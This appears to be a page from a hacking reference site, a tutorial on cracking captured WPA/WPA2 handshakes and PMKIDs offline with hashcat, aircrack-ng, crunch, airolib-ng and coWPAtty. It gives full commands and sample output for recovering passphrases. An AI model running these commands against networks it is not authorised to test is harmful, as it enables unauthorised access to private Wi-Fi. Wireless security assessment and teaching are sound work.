# Cracking WPA Handshakes and PMKIDs

> Capture WPA/WPA2 handshakes or PMKIDs, then perform offline dictionary and brute-force attacks using hashcat or aircrack-ng to recover PSKs.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/wpa-cracking
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-07-10

WPA/WPA2 handshakes and PMKIDs are cracked offline by computing candidate PSKs and comparing the resulting MIC or PMKID against the captured value. The attack speed depends entirely on hardware: CPU-based cracking with aircrack-ng is slow but always available, while GPU-based cracking with hashcat can be orders of magnitude faster. The workflow starts with the best wordlists and rules before moving to slower brute-force approaches.

Recommended approach order:

- Wordlist attack with rockyou.txt or similar (aircrack-ng for a quick check, hashcat for GPU speed)
- Rule-based mutations (best64, then dive for broader coverage)
- Targeted pattern generation with crunch when the passphrase structure is known
- Pre-computed PMK tables with airolib-ng or genpmk for repeated attacks against the same SSID

This page assumes you have a verified handshake capture or a PMKID hash file. See the [handshake capture](https://hackindex.io/platforms/wireless/exploitation/wpa-handshake-capture) or the [PMKID capture](https://hackindex.io/platforms/wireless/enumeration/pmkid-capture-with-hcxdumptool) if needed.

## Convert the Capture to Hashcat Format

hashcat does not read pcap files directly. Convert with hcxpcapngtool first. This handles both EAPOL handshakes and PMKIDs in a single output file:

```bash
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# PMKID (zeroed, usable):   1
# EAPOL (pairs, usable):    1
```

## Crack with aircrack-ng and a Wordlist

aircrack-ng works directly against the cap file. Use this for quick checks against common passwords before investing GPU time:

```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap
#                                Aircrack-ng 1.7
#
#       [00:02:14] 487293/9822768 keys tested (3621.12 k/s)
#
#       KEY FOUND! [ password123 ]
#
#       Master Key     : AB CD EF ...
```

## WPA Cracking with hashcat and a Wordlist

hashcat with `-m 22000` handles both PMKIDs and EAPOL handshakes from the same hc22000 file:

```bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

Show cracked results after the session completes or is interrupted:

```bash
hashcat -m 22000 hash.hc22000 --show
# WPA*02*...*TargetNetwork*:password123
```

## Apply Rules for Better Coverage

Rules mutate wordlist entries to cover common password patterns like capitalisation, number suffixes, and character substitutions. The best64 rule set is a good starting point:

```bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

For more aggressive mutation, combine multiple rule files or use the dive rule set which applies a much broader transformation set at the cost of longer runtime:

```bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule
```

## Generate Candidates with crunch

When the target passphrase follows a known pattern such as all digits or a fixed length, crunch generates a targeted candidate list and pipes it directly to aircrack-ng or hashcat. For an 8-digit numeric passphrase:

```bash
crunch 8 8 0123456789 | aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap
```

For a pattern like a known prefix followed by digits:

```bash
crunch 11 11 -t Company@%%% | aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap
```

Piping crunch directly to aircrack-ng avoids writing a large wordlist to disk. For hashcat, save to a file first or use stdin mode with `-` as the wordlist argument.

## Pre-Computed PMK Tables with airolib-ng

If you are targeting the same SSID repeatedly, pre-computing the PMK table for a wordlist speeds up subsequent attacks significantly because the expensive PBKDF2 computation is done once and cached. Build the database:

```bash
airolib-ng pmk.sqlite --import passwd /usr/share/wordlists/rockyou.txt
```

```bash
airolib-ng pmk.sqlite --import essid TargetNetwork
```

```bash
airolib-ng pmk.sqlite --batch
```

The `--batch` step computes and stores PMKs for every password and SSID combination. This takes time upfront but makes the actual crack instant. Once built, crack with:

```bash
aircrack-ng -r pmk.sqlite handshake-01.cap
```

PMK tables are SSID-specific. A table built for TargetNetwork is useless against a different SSID. This technique is most valuable when assessing multiple APs sharing the same SSID, such as a corporate network with many access points.

## Crack with coWPAtty

coWPAtty is a dedicated WPA dictionary cracker that works directly against pcap files. It is slower than hashcat but straightforward to use and useful as a cross-check when other tools give unexpected results:

```bash
cowpatty -f /usr/share/wordlists/rockyou.txt -s TargetNetwork -r handshake-01.cap
# cowpatty 4.8 - WPA-PSK dictionary attack
#
# Attempting to authenticate using password candidates from rockyou.txt
# The PSK is: password123
#
# 4821932 passwords tested in 312.18 seconds (15,447.23 p/s)
```

`-f` specifies the wordlist, `-s` the SSID, and `-r` the capture file. The SSID must match exactly including case. coWPAtty also supports pre-computed hash files generated by genpmk for faster repeated attacks against the same SSID:

```bash
genpmk -f /usr/share/wordlists/rockyou.txt -d pmk-table -s TargetNetwork
```

```bash
cowpatty -d pmk-table -s TargetNetwork -r handshake-01.cap
```

Using a pre-computed hash file with `-d` instead of `-f` skips the PBKDF2 computation per candidate and is significantly faster. The trade-off is the table must be built per SSID.

## References

- [Hashcat: documentation](https://hashcat.net/wiki/doku.php?id=hashcat) - Mode 22000 reference, rule files, and attack mode flags
- [ZerBea/hcxtools on GitHub](https://github.com/ZerBea/hcxtools) - hcxpcapngtool conversion from pcap to hc22000 format
- [Aircrack-ng: airolib-ng documentation](https://www.aircrack-ng.org/doku.php?id=airolib-ng) - PMK database creation and batch computation reference
- [joswr1ght/cowpatty on GitHub](https://github.com/joswr1ght/cowpatty) - coWPAtty usage and genpmk pre-computed hash table reference